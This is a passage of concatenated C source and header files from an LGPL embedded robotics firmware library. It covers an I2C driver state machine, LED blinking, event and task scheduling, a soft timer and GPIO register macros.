return I2C_Write_data(command, pcommandData, commandDataSize, NULL, 0, pCallback);
}
i2c_state_t I2C_Write_data(unsigned char command, unsigned char* pcommandData, unsigned char commandDataSize, unsigned char* ptxData, unsigned int txSize, I2C_callbackFunc pCallback) {
// Try to direct send the message
if (I2C_CheckAvailable() && (I2CMAXQ < I2C_QUEUE_DEPTH)) {
I2C_loadCommand(command, pcommandData, commandDataSize, I2C_COMMAND_WRITE, ptxData, txSize, pCallback);
/// Set high interrupt
REGISTER_MASK_SET_HIGH(I2C_INTERRUPT->REG, I2C_INTERRUPT->CS_mask);
} else {
return I2C_loadBuffer(command, pcommandData, commandDataSize, I2C_COMMAND_WRITE, ptxData, txSize, pCallback);
}
return true;
}
i2c_state_t I2C_Read(unsigned char command, unsigned char* pcommandData, unsigned char commandDataSize, unsigned char* prxData, unsigned int rxSize, I2C_callbackFunc pCallback) {
// Try to direct send the message
if (I2C_CheckAvailable() && (I2CMAXQ < I2C_QUEUE_DEPTH)) {
I2C_loadCommand(command, pcommandData, commandDataSize, I2C_COMMAND_READ, prxData, rxSize, pCallback);
/// Set high interrupt
REGISTER_MASK_SET_HIGH(I2C_INTERRUPT->REG, I2C_INTERRUPT->CS_mask);
} else {
return I2C_loadBuffer(command, pcommandData, commandDataSize, I2C_COMMAND_READ, prxData, rxSize, pCallback);
}
return true;
}
/**
* Serve all I2C messages in pending
*/
void I2C_serve_queue(void) {
int queueIndex;
for (queueIndex = 0; queueIndex < I2C_QUEUE_DEPTH; queueIndex++) {
if (i2c_queue[queueIndex].pending == true) {
// Send message to I2C
I2C_loadCommand(i2c_queue[queueIndex].command, i2c_queue[queueIndex].pcommandData, i2c_queue[queueIndex].commandDataSize,
i2c_queue[queueIndex].rW, i2c_queue[queueIndex].pData, i2c_queue[queueIndex].Size, i2c_queue[queueIndex].pCallback);
//decrease queue
I2CMAXQ--;
i2c_queue[queueIndex].pending = false;
}
}
}
/**
* Check the I2C is available
* @return state of I2C
*/
inline bool I2C_CheckAvailable(void) {
if (REGISTER_MASK_READ(I2C_CON, MASK_I2CCON_EN) == 0) return false;
if (REGISTER_MASK_READ(I2C_STAT, 0b0000010011000000) != 0) return false;
if (I2C_Busy == true) return false;
I2C_Busy = true;
return true;
}
/**
* Enable write message in controller
*/
void I2C_startWrite(void) {
I2C_Index = 0; // Reset index into buffer
I2C_state = &I2C_writeCommand;
REGISTER_MASK_SET_HIGH(I2C_CON, MASK_I2CCON_SEN);
return;
}
/**
* Write the command message (usually the address of peripherals
*/
void I2C_writeCommand(void) {
*(I2C_TRN) = I2C_CommandByte & 0xFE;
I2C_state = &I2C_writeCommandData;
return;
}
/**
* If the ACK return true send the command data and jump to read/write operation
*/
void I2C_writeCommandData(void) {
if (REGISTER_MASK_READ(I2C_STAT, MASK_I2CSTAT_ACKSTAT) == 1) {
// Device not responding
I2C_Failed();
return;
}
// If there is no command data, do not send any, do a stop.
if (I2C_command_data_size == 0) {
I2C_writeStop();
return;
}
*(I2C_TRN) = pI2CcommandBuffer[I2C_Index++];
if (I2C_Index >= I2C_command_data_size) {
I2C_Index = 0; // Reset index into the buffer
if (I2C_data_size.rx == I2C_COMMAND_READ)
I2C_state = &I2C_readStart;
else
I2C_state = &I2C_writeData;
}
return;
}
/* READ FUNCTIONS */
/**
* Start read operation
*/
void I2C_readStart(void) {
I2C_Index = 0; // Reset index into buffer
I2C_state = &I2C_readCommand;
REGISTER_MASK_SET_HIGH(I2C_CON, MASK_I2CCON_SEN);
}
/**
* Send write command message
*/
void I2C_readCommand(void) {
I2C_state = &I2C_recen;
*(I2C_TRN) = I2C_CommandByte | 0x01;
}
/**
* Check the peripherals responding and start reading operation
*/
void I2C_recen(void) {
if (REGISTER_MASK_READ(I2C_STAT, MASK_I2CSTAT_ACKSTAT) == 1) {
// Device not responding
I2C_Failed();
return;
} else {
I2C_state = &I2C_recstore;
REGISTER_MASK_SET_HIGH(I2C_CON, MASK_I2CCON_RCEN);
}
return;
}
/**
* Store all read data in buffer
*/
void I2C_recstore(void) {
if(pI2CBuffer != NULL) {
pI2CBuffer[I2C_Index++] = *I2C_RCV;
if (I2C_Index >= I2C_data_size.rx) {
I2C_state = &I2C_stopRead;
REGISTER_MASK_SET_HIGH(I2C_CON, MASK_I2CCON_ACKDT);
} else {
I2C_state = &I2C_rerecen;
REGISTER_MASK_SET_LOW(I2C_CON, MASK_I2CCON_ACKDT);
}
}
REGISTER_MASK_SET_HIGH(I2C_CON, MASK_I2CCON_ACKEN);
return;
}
/**
* Stop read
*/
void I2C_stopRead(void) {
REGISTER_MASK_SET_HIGH(I2C_CON, MASK_I2CCON_PEN);
I2C_state = &I2C_doneRead;
return;
}
/**
* Update read operation
*/
void I2C_rerecen(void) {
I2C_state = &I2C_recstore;
REGISTER_MASK_SET_HIGH(I2C_CON, MASK_I2CCON_RCEN);
return;
}
/**
* Done read and launch callback.
* If the queue is not empty launch other message in queue
*/
void I2C_doneRead(void) {
if (pI2C_callback != NULL)
pI2C_callback(true);
//Check I2C available and buffer not empty
if(I2CMAXQ > 0)
I2C_serve_queue();
else
I2C_Busy = false;
}
/* WRITE FUNCTIONS */
/**
* If the ACK return true send the message
*/
void I2C_writeData(void) {
if (REGISTER_MASK_READ(I2C_STAT, MASK_I2CSTAT_ACKSTAT) == 1) {
// Device not responding
I2C_Failed();
return;
}
if (I2C_data_size.tx == 0) {
I2C_writeStop();
return;
}
if (pI2CBuffer != NULL) {
*(I2C_TRN) = pI2CBuffer[I2C_Index++];
if (I2C_Index >= I2C_data_size.tx) {
if (I2C_data_size.rx == 0)
I2C_state = &I2C_writeStop;
else
I2C_state = &I2C_readStart;
}
}
return;
}
/**
* Launch stop operation
*/
void I2C_writeStop(void) {
I2C_state = &I2C_doneWrite;
REGISTER_MASK_SET_HIGH(I2C_CON, MASK_I2CCON_PEN);
return;
}
/**
* Done write and launch callback.
* If the queue is not empty launch other message in queue
*/
void I2C_doneWrite(void) {
if (pI2C_callback != NULL)
pI2C_callback(true);
//Check I2C available and buffer not empty
if(I2CMAXQ > 0)
I2C_serve_queue();
else
I2C_Busy = false;
}
/* SERVICE FUNCTIONS */
/**
* Idle operation
*/
void I2C_idle(void) {
return;
}
/**
* Stop I2C read/write and launch callback with false
*/
void I2C_Failed(void) {
I2C_state = &I2C_idle;
REGISTER_MASK_SET_HIGH(I2C_CON, MASK_I2CCON_PEN);
if (pI2C_callback != NULL)
pI2C_callback(false);
//Check I2C available and buffer not empty
if(I2CMAXQ > 0)
I2C_serve_queue();
else
I2C_Busy = false;
}
/**
* Status of I2C
* @return status I2C
*/
bool I2C_Normal(void) {
if (REGISTER_MASK_READ(I2C_STAT, 0b0000010011000000) == 0)
return true;
else {
I2C_ERROR = ((unsigned int) I2C_STAT);
return false;
}
}<file_sep>/*
* Copyright (C) 2014 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
/******************************************************************************/
/* Files to Include */
/******************************************************************************/
#include "peripherals/led.h"
#include "system/task_manager.h"
/******************************************************************************/
/* Global Variable Declaration */
/******************************************************************************/
#define LED "LED"
static string_data_t _MODULE_LED = {LED, sizeof (LED)};
/// If led effect running
bool led_effect = false;
/// If first launch of effect
bool first = true;
/// Frequency to esecution
frequency_t freq_cqu;
/// Led event handle
static hEvent_t LED_service_handle = INVALID_EVENT_HANDLE;
/// Led task handle
static hTask_t LED_task_handle = INVALID_TASK_HANDLE;
/*****************************************************************************/
/* Communication Functions */
/*****************************************************************************/
void serviceLED(int argc, int* argv) {
LED_blinkController((led_control_t*) argv[0], (size_t) argv[1]);
}
hEvent_t LED_Init(uint16_t freq, led_control_t* led_controller, size_t len) {
int i;
freq_cqu = freq;
for (i = 0; i < len; ++i) {
led_controller[i].wait = 0;
gpio_register(&led_controller[i].gpio);
LED_updateBlink(led_controller, i, LED_OFF);
}
/// Register module
hModule_t led_module = register_module(&_MODULE_LED);
/// Register event
LED_service_handle = register_event_p(led_module, &serviceLED, EVENT_PRIORITY_LOW);
LED_task_handle = task_load_data(LED_service_handle, freq_cqu, 2, led_controller, len);
/// Run task controller
task_set(LED_task_handle, RUN);
return LED_service_handle;
}
void LED_updateBlink(led_control_t* led_controller, short num, short blink) {
led_controller[num].number_blink = blink;
switch (led_controller[num].number_blink) {
case LED_OFF:
//Clear bit - Set to 0
REGISTER_MASK_SET_LOW(led_controller[num].gpio.CS_PORT, led_controller[num].gpio.CS_mask);
break;
case LED_ALWAYS_HIGH:
//Set bit - Set to 1
REGISTER_MASK_SET_HIGH(led_controller[num].gpio.CS_PORT, led_controller[num].gpio.CS_mask);
break;
default:
led_controller[num].fr_blink = freq_cqu / (2 * led_controller[num].number_blink);
break;
}
led_controller[num].counter = 0;
}
/**
* Tc -> counter = 1sec = 1000 interrupts
* ! Tc/2 ! Tc/2 !
* ! !_____ _____! !
* ! !| | | |! !
* !-----!| |---| |! . . . -------!
* ! ! ! !
* ! WAIT Tc/2-WAIT ! Tc/2 !
*/
inline void LED_blinkController(led_control_t *led, size_t len) {
short i;
for(i = 0; i < len; ++i) {
if (led[i].number_blink > LED_OFF) {
if (led[i].counter > led[i].wait && led[i].counter < freq_cqu) {
if (led[i].counter % led[i].fr_blink == 0) {
//Toggle bit
REGISTER_MASK_TOGGLE(led[i].gpio.CS_PORT, led[i].gpio.CS_mask);
}
led[i].counter++;
} else if (led[i].counter >= 3 * freq_cqu / 2) {
led[i].counter = 0;
} else {
//Clear bit - Set to 0
REGISTER_MASK_SET_LOW(led[i].gpio.CS_PORT, led[i].gpio.CS_mask);
led[i].counter++;
}
}
}
}
void LED_blinkFlush(led_control_t* led_controller, short* load_blink, size_t len) {
int i;
for (i = 0; i < len; ++i) {
led_controller[i].wait = i * ((float) freq_cqu / len);
load_blink[i] = led_controller[i].number_blink;
LED_updateBlink(led_controller, i, 1);
}
led_effect = true;
}
void LED_effectStop(led_control_t* led_controller, short* load_blink, size_t len) {
int i;
int value = 0;
if (led_effect) {
for (i = 0; i < len; ++i) {
value += led_controller[i].counter;
}
if (value == 0) {
if (~first) {
for (i = 0; i < len; ++i) {
LED_updateBlink(led_controller, i, load_blink[i]);
led_controller[i].wait = 0;
}
led_effect = false;
first = true;
} else {
first = false;
}
}
}
}
<file_sep>/*
* Copyright (C) 2014-2016 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
#ifndef EVENTS_H
#define EVENTS_H
#ifdef __cplusplus
extern "C" {
#endif
#include <stdint.h> /* Includes uint16_t definition */
#include <stdbool.h> /* Includes true/false definition */
#include <peripherals/gpio.h>
#include <system/modules.h>
/******************************************************************************/
/* System Level #define Macros */
/******************************************************************************/
/// Invalid handle for event
#define INVALID_EVENT_HANDLE 0xFFFF
/// Dimension event priority
#define LNG_EVENTPRIORITY 4
/// Type of events, from low level to high level
typedef enum _eventP {
EVENT_PRIORITY_LOW = 0,
EVENT_PRIORITY_MEDIUM,
EVENT_PRIORITY_HIGH,
EVENT_PRIORITY_VERY_LOW,
} eventPriority;
/// Definition of frequency
typedef uint32_t frequency_t;
/// event register number
typedef uint16_t hEvent_t;
/// Callback when the function start
typedef void (*event_callback_t)(int argc, int* argv);
/******************************************************************************/
/* System Function Prototypes */
/******************************************************************************/
/**
* Initialization event controller, with this function you can set to default
* all register events parameter and setup timer evaluation.
* @param timer_register Timer register
* @param pr_timer Register counter
* @param frq_mcu frequency of Microcontroller
*/
void init_events(REGISTER timer_register, REGISTER pr_timer, frequency_t frq_mcu, unsigned int level);
/**
* You can register an event interrupt, with type of priority and bit interrupt
* @param priority type of priority
* @param pin Interrupt bit to will be used to start interrupt
*/
void register_interrupt(eventPriority priority, hardware_bit_t* pin);
/**
* Launch a particular function event
* @param hEvent number of event
*/
void trigger_event(hEvent_t hEvent);
/**
* Launch the event with data
* @param hEvent Number event
* @param argc number of data
* @param argv datas
*/
void trigger_event_data(hEvent_t hEvent, int argc, int *argv);
/**
* Register an event with a function to call when the event started.
* Default priority values is EVENT_PRIORITY_MEDIUM
* @param name associated number module name
* @param event_callback function to call
* @return number event
*/
hEvent_t register_event(hModule_t name, event_callback_t event_callback);
/**
* Register an event with priority and a function to call when the event started
* @param name associated number module name
* @param event_callback function to call
* @param priority priority for this event
* @return number event
*/
hEvent_t register_event_p(hModule_t name, event_callback_t event_callback, eventPriority priority);
/**
* Get number module associated
* @param eventIndex index event
* @return index module
*/
hModule_t get_event_name(hEvent_t eventIndex);
/**
* Remove from list of events the event
* @param eventIndex index event
* @return true if is correct unloaded, false otherwhise
*/
bool unregister_event(hEvent_t eventIndex);
/**
* This function you must call in interrupt function and you can set the relative priority
* @param priority number of priority
*/
inline void event_manager(eventPriority priority);
/**
* Return time to computation the event
* @param hEvent number event
* @return time to computation in [nS]
*/
inline uint32_t get_time(hEvent_t hEvent);
#ifdef __cplusplus
}
#endif
#endif /* EVENTS_H */
<file_sep>/*
* Copyright (C) 2014-2016 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
/******************************************************************************/
/* Files to Include */
/******************************************************************************/
#include <xc.h>
#include "system/soft_timer.h"
#define MICRO 1000000
/******************************************************************************/
/* Global Variable Declaration */
/******************************************************************************/
bool init_soft_timer(soft_timer_t *timer, frequency_t frequency, uint32_t time) {
timer->time = frequency * (time / MICRO);
timer->counter = 0;
return true;
}
void reset_timer(soft_timer_t *timer) {
timer->counter = 0;
}
bool __attribute__((always_inline)) run_timer(soft_timer_t *timer) {
if ((timer->counter + 1) >= timer->time) {
timer->counter = 0;
return true;
} else {
timer->counter++;
}
return false;
}<file_sep>/*
* Copyright (C) 2015 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
/*****************************************************************************/
/* Files to Include */
/*****************************************************************************/
#include "data/data.h"
/*****************************************************************************/
/* Global Variable Declaration */
/*****************************************************************************/
/*****************************************************************************/
/* User Functions */
/*****************************************************************************/
void inline protectedMemcpy(hardware_bit_t* reg, void *destination, const void *source, size_t num) {
if (REGISTER_MASK_READ(reg->REG, reg->CS_mask)) {
REGISTER_MASK_SET_LOW(reg->REG, reg->CS_mask);
memcpy(destination, source, num);
REGISTER_MASK_SET_HIGH(reg->REG, reg->CS_mask);
} else {
memcpy(destination, source, num);
}
}<file_sep>/*
* Copyright (C) 2014-2015 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
/******************************************************************************/
/* Files to Include */
/******************************************************************************/
#include "system/modules.h"
/******************************************************************************/
/* Global Variable Declaration */
/******************************************************************************/
/******************************************************************************/
/* Communication Functions */
/******************************************************************************/
void init_modules(void) {
}
hModule_t register_module(string_data_t* name) {
return (hModule_t) name;
}<file_sep>/*
* Copyright (C) 2014-2015 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
#ifndef MODULES_H
#define MODULES_H
#ifdef __cplusplus
extern "C" {
#endif
/******************************************************************************/
/* System Level #define Macros */
/******************************************************************************/
#include <stdint.h> /* Includes uint16_t definition */
#include "data/data.h"
/// Invalid handle for event
#define INVALID_MODULE_HANDLE 0xFFFF
/// Module register number
typedef uint16_t hModule_t;
/******************************************************************************/
/* System Function Prototypes */
/******************************************************************************/
hModule_t register_module(string_data_t* name);
#ifdef __cplusplus
}
#endif
#endif /* MODULES_H */
<file_sep>/*
* Copyright (C) 2014-2015 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
/******************************************************************************/
/* Files to Include */
/******************************************************************************/
#include "system/task_manager.h"
/// Max number of task
#define MAX_TASKS 16
/// Max number of arguments
#define MAX_ARGV 2
/**
* Definition of task:
* Running or not
* associated event
* internal counter of event
* frequency of esecution in [uS]
* number of arguments
* arguments
*/
typedef struct _tagTASK {
task_status_t run;
hEvent_t event;
uint16_t counter;
uint16_t counter_freq;
frequency_t frequency;
int argc;
int argv[MAX_ARGV];
} TASK;
/******************************************************************************/
/* Global Variable Declaration */
/******************************************************************************/
/// Array of tasks
TASK tasks[MAX_TASKS];
/// Number of loaded tasks
unsigned short task_count = 0;
/// frequency TIMER
frequency_t FREQ_TIMER;
/*****************************************************************************/
/* Communication Functions */
/*****************************************************************************/
void task_init(frequency_t timer_frequency) {
hTask_t taskIndex;
FREQ_TIMER = timer_frequency;
for (taskIndex = 0; taskIndex < MAX_TASKS; ++taskIndex) {
tasks[taskIndex].run = STOP;
tasks[taskIndex].counter = 0;
tasks[taskIndex].counter_freq = 0;
tasks[taskIndex].frequency = 0;
tasks[taskIndex].event = INVALID_EVENT_HANDLE;
tasks[taskIndex].argc = 0;
}
}
hTask_t task_load(hEvent_t hEvent, frequency_t frequency) {
return task_load_data(hEvent, frequency, 0, NULL);
}
hTask_t task_load_data(hEvent_t hEvent, frequency_t frequency, int argc, ...) {
hTask_t taskIndex;
va_list argp;
int argc_counter = 0;
if(frequency <= FREQ_TIMER && frequency > 0) {
for (taskIndex = 0; taskIndex < MAX_TASKS; ++taskIndex) {
if (tasks[taskIndex].event == INVALID_EVENT_HANDLE) {
tasks[taskIndex].run = STOP;
tasks[taskIndex].event = hEvent;
tasks[taskIndex].counter_freq = FREQ_TIMER / frequency;
tasks[taskIndex].frequency = frequency;
tasks[taskIndex].argc = argc;
va_start(argp, argc);
for(argc_counter = 0; argc_counter < argc; ++argc_counter) {
tasks[taskIndex].argv[argc_counter] = va_arg(argp, int);
}
task_count++;
return taskIndex;
}
}
}
return INVALID_TASK_HANDLE;
}
bool task_set(hTask_t hTask, task_status_t run) {
if(hTask != INVALID_TASK_HANDLE) {
tasks[hTask].run = run;
return true;
}
return false;
}
bool task_set_frequency(hTask_t hTask, frequency_t frequency) {
if(hTask != INVALID_TASK_HANDLE) {
if(frequency <= FREQ_TIMER && frequency > 0) {
tasks[hTask].counter_freq = FREQ_TIMER / frequency;
tasks[hTask].frequency = frequency;
return true;
} else {
return task_unload(hTask);
}
}
return false;
}
bool task_unload(hTask_t hTask) {
if(hTask != INVALID_TASK_HANDLE) {
tasks[hTask].event = INVALID_EVENT_HANDLE;
tasks[hTask].run = STOP;
task_count--;
return true;
}
return false;
}
hModule_t task_get_name(hTask_t taskIndex) {
return get_event_name(tasks[taskIndex].event);
}
unsigned short get_task_number(void) {
return task_count;
}
inline void task_manager(void) {
if(task_count > 0) {
hTask_t taskIndex;
for (taskIndex = 0; taskIndex < MAX_TASKS; ++taskIndex) {
if(tasks[taskIndex].run == RUN) {
if (tasks[taskIndex].counter >= tasks[taskIndex].counter_freq) {
trigger_event_data(tasks[taskIndex].event, tasks[taskIndex].argc, tasks[taskIndex].argv);
tasks[taskIndex].counter = 0;
}
tasks[taskIndex].counter++;
}
}
}
}
<file_sep>/*
* File: i2c.h
* Author: Raffaello
*
* Created on June 23, 2015, 10:51 AM
*/
#ifndef I2C_H
#define I2C_H
#ifdef __cplusplus
extern "C" {
#endif
#include <system/events.h>
/******************************************************************************/
/* System Level #define Macros */
/******************************************************************************/
/// State of I2C command
typedef enum {
FALSE = 0, ///< I2C can't send the message
TRUE = 1, ///< I2C send the message
PENDING = 2 ///< Message in pending
} i2c_state_t;
/// callback type for I2C user
typedef void (*I2C_callbackFunc)(bool);
/******************************************************************************/
/* System Function Prototypes */
/******************************************************************************/
/**
* Initialize the I2C peripheral and trigger the I2C service routine to run
* @param i2c_interrupt I2C interrupt line
* @param i2c_con I2C configuration register
* @param i2c_stat I2C status register
* @param i2c_trn I2C transmission register
* @param i2c_rcv I2C reception register
* @param resetCallback additional operation when reset I2C
* @return Number event
*/
hEvent_t I2C_Init(hardware_bit_t* i2c_interrupt, REGISTER i2c_con, REGISTER i2c_stat, REGISTER i2c_trn, REGISTER i2c_rcv, I2C_callbackFunc resetCallback);
/**
* Check for I2C ACK on command
* @param command command data usually the address of peripherals
* @param pCallback callback received
* @return state of I2C
*/
bool I2C_checkACK(unsigned int command, I2C_callbackFunc pCallback);
/**
* Write command without additional data
* @param command command data usually the address of peripherals
* @param pcommandData additional message
* @param commandDataSize size of additional message
* @param pCallback Callback when the controller complete or fail to send the message
* @return status of sending message
*/
i2c_state_t I2C_Write(unsigned char command, unsigned char* pcommandData, unsigned char commandDataSize, I2C_callbackFunc pCallback);
/**
* Write a message with additional data
* @param command command data usually the address of peripherals
* @param pcommandData additional message
* @param commandDataSize size of additional message
* @param ptxData pointer to transmission data
* @param txSize size of data
* @param pCallback Callback when the controller complete or fail to send the message
* @return status of sending message
*/
i2c_state_t I2C_Write_data(unsigned char command, unsigned char* pcommandData, unsigned char commandDataSize, unsigned char* ptxData, unsigned int txSize, I2C_callbackFunc pCallback);
/**
*
* @param command command data usually the address of peripherals
* @param pcommandData additional message
* @param commandDataSize size of additional message
* @param prxData pointer to received data
* @param rxSize size of data
* @param pCallback Callback when the controller complete or fail to send the message
* @return status of sending message
*/
i2c_state_t I2C_Read(unsigned char command, unsigned char* pcommandData, unsigned char commandDataSize, unsigned char* prxData, unsigned int rxSize, I2C_callbackFunc pCallback);
/**
* This function you must add in I2C interrupt
*/
inline void I2C_manager (void);
#ifdef __cplusplus
}
#endif
#endif /* I2C_H */
<file_sep>/*
* Copyright (C) 2015 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
#ifndef DATA_H
#define DATA_H
#ifdef __cplusplus
extern "C" {
#endif
#include <string.h>
#include "peripherals/gpio.h"
/******************************************************************************/
/* User Level #define Macros */
/******************************************************************************/
/**
* Definition of string, with poin pointer to string and relative length
*/
typedef struct _string_data {
const char* string;
unsigned int len;
} string_data_t;
/******************************************************************************/
/* User Function Prototypes */
/******************************************************************************/
/**
* Protected memcpy, stop particular interrupt and copy data.
* @param reg Interrupt to disable
* @param destination data
* @param source data
* @param num size of data
*/
void protectedMemcpy(hardware_bit_t* reg, void *destination, const void *source, size_t num);
#ifdef __cplusplus
}
#endif
#endif /* DATA_H */
<file_sep>/*
* Copyright (C) 2014 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
#ifndef LED_H
#define LED_H
#ifdef __cplusplus
extern "C" {
#endif
#include <stdint.h> /* Includes uint16_t definition */
#include <stdbool.h> /* Includes true/false definition */
#include <string.h>
#include "peripherals/gpio.h"
#include "system/events.h"
/******************************************************************************/
/* User Level #define Macros */
/******************************************************************************/
/// Set High a led
#define LED_ALWAYS_HIGH -1
/// Set off led
#define LED_OFF 0
/**
* Struct to control blink led
* - port name to bit register to mount led
* - counter to control blink led
* - number of blink in a period, if:
* -# -1 fixed led - LED_ALWAYS_HIGH
* -# 0 led off - LED_OFF
* -# n number of blink
*/
typedef struct led_control {
gpio_t gpio;
unsigned int counter;
unsigned int fr_blink;
unsigned int wait;
short number_blink;
} led_control_t;
/******************************************************************************/
/* User Function Prototypes */
/******************************************************************************/
/**
* Initialization LEDs
* @param led_controller
* @param len
* @return event led controller
*/
hEvent_t LED_Init(uint16_t freq, led_control_t* led_controller, size_t len);
/**
* Update frequency or type of blink
* @param led array of available leds
* @param num number led
* @param blink number of blinks
*/
void LED_updateBlink(led_control_t *led, short num, short blink);
/**
* Blink controller for leds. This function you must add in timer function
* @param led to control
* @param len number of registered led
*/
inline void LED_blinkController(led_control_t *led, size_t len);
/**
* Start led effect flush
* @param led_controller list of all leds
* @param load_blink
* @param len number of registered led
*/
void LED_blinkFlush(led_control_t* led_controller, short* load_blink, size_t len);
/**
* Stop all led effects
* @param led_controller list of all leds
* @param load_blink
* @param len number of registered led
*/
void LED_effectStop(led_control_t* led_controller, short* load_blink, size_t len);
#ifdef __cplusplus
}
#endif
#endif /* LED_H */
<file_sep>/*
* Copyright (C) 2014-2015 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
#ifndef GPIO_H
#define GPIO_H
#ifdef __cplusplus
extern "C" {
#endif
#include <stdarg.h>
#include <stdint.h> /* Includes uint16_t definition */
#include <stdbool.h> /* Includes true/false definition */
#include <string.h>
/******************************************************************************/
/* System Level #define Macros */
/******************************************************************************/
/// Build a Max bit in x position
#define BIT_MASK(x) (1 << (x))
#define GPIO_NO_PERIPHERAL NULL
#define GPIO_ANALOG_CONF(array, an) \
(array).number = (an); \
(array).value = 0;
//Rule of thumb: Always read inputs from PORTx and write outputs to LATx.
//If you need to read what you set an output to, read LATx.
/// Port builder
//#define GPIO_INIT(x, n, type) {&(TRIS##x), &(PORT##x), &(LAT##x), BIT_MASK(n), (type)}
#define GPIO_INIT_TYPE(array, x, n, type_n) \
(array).CS_TRIS = &(TRIS##x); \
(array).CS_PORT = &(PORT##x); \
(array).CS_LAT = &(LAT##x); \
(array).CS_mask = BIT_MASK((n)); \
(array).type = (type_n);
/// Simple initialization a GPIO
#define GPIO_INIT(array, x, n) GPIO_INIT_TYPE((array).gpio, x, n, GPIO_INPUT) \
(array).common.analog = GPIO_NO_PERIPHERAL;
/// Initialization with analog
#define GPIO_INIT_ANALOG(array, x, n, adc) GPIO_INIT_TYPE((array).gpio, x, n, GPIO_INPUT) \
(array).common.analog = (gp_analog_t*) adc;
/// GPIO port builder
#define GPIO_PORT_INIT(port, GP, SIZE) \
(port).gpio = (GP); \
(port).len = (SIZE);
/// Initialize hardware_bit_t with name register and bit mask
#define REGISTER_INIT(reg, x) {&(reg), BIT_MASK(x)}
/// Set high bits in register with selected mask
#define REGISTER_MASK_SET_HIGH(reg, mask) (*(reg) |= (mask))
/// Set low bits in register with selected mask
#define REGISTER_MASK_SET_LOW(reg, mask) (*(reg) &= ~(mask))
/// Toggle bits in register with selected mask
#define REGISTER_MASK_TOGGLE(reg, mask) (*(reg) ^= (mask))
/// Read bits in register with selected mask
#define REGISTER_MASK_READ(reg, mask) ((*(reg) & (mask)) == (mask))
/// Callback to configure the ADC
typedef bool (*gpio_adc_callbackFunc_t)(void);
/**
*
*/
typedef enum {
